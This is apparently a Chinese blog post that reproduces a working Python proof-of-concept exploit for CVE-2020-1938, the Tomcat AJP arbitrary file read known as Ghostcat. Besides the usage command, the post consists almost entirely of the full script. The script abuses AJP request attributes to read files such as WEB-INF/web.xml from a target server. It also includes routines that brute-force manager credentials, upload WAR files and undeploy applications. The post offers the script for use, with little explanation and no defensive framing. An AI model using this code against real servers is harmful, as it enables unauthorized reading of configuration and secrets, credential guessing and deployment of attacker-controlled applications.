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CVE-2020-1938 Tomcat ajp-POC 任意文件读取

2020年07月10日 16:28 汪洋大海 暂无评论 阅读 73 views 次
ajpy==0.0.4
colorama==0.4.3
colorlog==4.1.0

python poc.py 172.xx.xxx.75 -p 8009 -f "/WEB-INF/web.xml"

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#!/usr/bin/env python2.7
#
# Julien Legras - Synacktiv
#
# THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 
from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from pprint import pprint, pformat
 
import socket
import argparse
import logging
import re
import os
from StringIO import StringIO
import logging
from colorlog import ColoredFormatter
from urllib import unquote
 
 
def setup_logger():
    """Return a logger with a default ColoredFormatter."""
    formatter = ColoredFormatter(
        "[%(asctime)s.%(msecs)03d] %(log_color)s%(levelname)-8s%(reset)s %(white)s%(message)s",
        datefmt="%Y-%m-%d %H:%M:%S",
        reset=True,
        log_colors={
            'DEBUG': 'bold_purple',
            'INFO': 'bold_green',
            'WARNING': 'bold_yellow',
            'ERROR': 'bold_red',
            'CRITICAL': 'bold_red',
        }
    )
 
    logger = logging.getLogger('meow')
    handler = logging.StreamHandler()
    handler.setFormatter(formatter)
    logger.addHandler(handler)
    logger.setLevel(logging.DEBUG)
 
    return logger
 
 
logger = setup_logger()
 
 
# helpers
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False
 
    fr.attributes = []
 
    return fr
 
 
class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port
 
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", bufsize=0)
 
    def test_password(self, user, password):
        res = False
        stop = False
        self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode(
            'base64').replace('\n', '')
        while not stop:
            logger.debug("testing %s:%s" % (user, password))
            responses = self.forward_request.send_and_receive(self.socket, self.stream)
            snd_hdrs_res = responses[0]
            if snd_hdrs_res.http_status_code == 404:
                raise NotFoundException("The req_uri %s does not exist!" % self.req_uri)
            elif snd_hdrs_res.http_status_code == 302:
                self.req_uri = snd_hdrs_res.response_headers.get('Location', '')
                logger.info("Redirecting to %s" % self.req_uri)
                self.forward_request.req_uri = self.req_uri
            elif snd_hdrs_res.http_status_code == 200:
                logger.info("Found valid credz: %s:%s" % (user, password))
                res = True
                stop = True
                if 'Set-Cookie' in snd_hdrs_res.response_headers:
                    logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', '')))
            elif snd_hdrs_res.http_status_code == 403:
                logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % (
                    user, password))
                stop = True
            elif snd_hdrs_res.http_status_code == 401:
                stop = True
 
        return res
 
    def start_bruteforce(self, users, passwords, req_uri, autostop):
        logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri)
 
        f_users = open(users, "r")
        f_passwords = open(passwords, "r")
 
        valid_credz = []
        try:
            for user in f_users:
                f_passwords.seek(0, 0)
                for password in f_passwords:
                    if autostop and len(valid_credz) > 0:
                        self.socket.close()
                        return valid_credz
 
                    user = user.rstrip('\n')
                    password = password.rstrip('\n')
                    if self.test_password(user, password):
                        valid_credz.append((user, password))
        except NotFoundException as e:
            logger.fatal(e.message)
        finally:
            logger.debug("Closing socket...")
            self.socket.close()
            return valid_credz
 
    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
                                                           method=AjpForwardRequest.REQUEST_METHODS.get(method))
        logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
                    "%s:%s" % (user, password)).encode('base64').replace('\n', '')
 
        for h in headers:
            self.forward_request.request_headers[h] = headers[h]
 
        for a in attributes:
            self.forward_request.attributes.append(a)
 
        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        print(responses)
        if len(responses) == 0:
            return None, None
 
        snd_hdrs_res = responses[0]
 
        data_res = responses[1:-1]
        if len(data_res) == 0:
            logger.info("No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res)))
 
        return snd_hdrs_res, data_res
 
    def upload(self, filename, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        with open(filename, "rb") as f_input:
            with open("/tmp/request", "w+b") as f:
                s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename(
                    filename)
                s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'
                f.write(s_form_header)
                f.write(f_input.read())
                f.write(s_form_footer)
 
        data_len = os.path.getsize("/tmp/request")
 
        headers = {
            "SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti",
            "SC_REQ_CONTENT_LENGTH": "%d" % data_len,
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')
 
        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}]
        if old_version == False:
            attributes.append({"name": "query_string", "value": deploy_csrf_token})
        old_apps = self.list_installed_applications(user, password, old_version)
        r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password,
                                 attributes=attributes)
 
        with open("/tmp/request", "rb") as f:
            br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)
            br.send_and_receive(self.socket, self.stream)
 
        r = AjpResponse.receive(self.stream)
        if r.prefix_code == AjpResponse.END_RESPONSE:
            logger.error('Upload failed')
 
        while r.prefix_code != AjpResponse.END_RESPONSE:
            r = AjpResponse.receive(self.stream)
        logger.debug('Upload seems normal. Checking...')
        new_apps = self.list_installed_applications(user, password, old_version)
        if len(new_apps) == len(old_apps) + 1 and new_apps[:-1] == old_apps:
            logger.info('Upload success!')
        else:
            logger.error('Upload failed')
 
    def get_error_page(self):
        return self.perform_request("/blablablablabla")
 
    def get_version(self):
        hdrs, data = self.get_error_page()
        for d in data:
            s = re.findall('(Apache Tomcat/[0-9\.]+) ', d.data)
            if len(s) > 0:
                return s[0]
 
    def get_csrf_token(self, user, password, old_version, headers={}, query=[]):
        # first we request the manager page to get the CSRF token
        hdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password)
        deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"',
                                       "".join([d.data for d in rdata]))
        if old_version == False:
            if len(deploy_csrf_token) == 0:
                logger.critical("Failed to get CSRF token. Check the credentials")
                return
 
            logger.debug('CSRF token = %s' % deploy_csrf_token[0])
        obj = re.match("(?P<cookie>JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly",
                       hdrs.response_headers.get('Set-Cookie', ''))
        if obj is not None:
            return deploy_csrf_token[0], obj
        return deploy_csrf_token[0], None
 
    def list_installed_applications(self, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        headers = {
            "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
            "SC_REQ_CONTENT_LENGTH": "0",
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')
 
        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute",
                       "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
        if old_version == False:
            attributes.append({
                "name": "query_string", "value": "%s" % deploy_csrf_token})
        hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password,
                                          attributes=attributes)
        found = []
        for d in data:
            im = re.findall('/manager/html/expire\?path=([^&]*)&', d.data)
            for app in im:
                found.append(unquote(app))
        return found
 
    def undeploy(self, path, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        path_app = "path=%s" % path
        headers = {
            "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
            "SC_REQ_CONTENT_LENGTH": "0",
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')
 
        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute",
                       "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
        if old_version == False:
            attributes.append({
                "name": "query_string", "value": "%s&%s" % (path_app, deploy_csrf_token)})
        r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password,
                                 attributes=attributes)
        r = AjpResponse.receive(self.stream)
        if r.prefix_code == AjpResponse.END_RESPONSE:
            logger.error('Undeploy failed')
 
        # Check the successful message
        found = False
        regex = r'<small><strong>Message:<\/strong><\/small>&nbsp;<\/td>\s*<td class="row-left"><pre>(OK - .*' + path + ')\s*<\/pre><\/td>'
        while r.prefix_code != AjpResponse.END_RESPONSE:
            r = AjpResponse.receive(self.stream)
            if r.prefix_code == 3:
                f = re.findall(regex, r.data)
                if len(f) > 0:
                    found = True
        if found:
            logger.info('Undeploy succeed')
        else:
            logger.error('Undeploy failed')
 
 
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('target', type=str, help="Hostname or IP to attack")
    parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
    parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
    args = parser.parse_args()
    bf = Tomcat(args.target, args.port)
    attributes = [
        {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
        {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
        {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
    ]
    snd_hdrs_res, data_res = bf.perform_request(req_uri='/', method='GET', attributes=attributes)  ##/注意这里要修改路径。
    print("".join([d.data for d in data_res]))

POC来源:https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC

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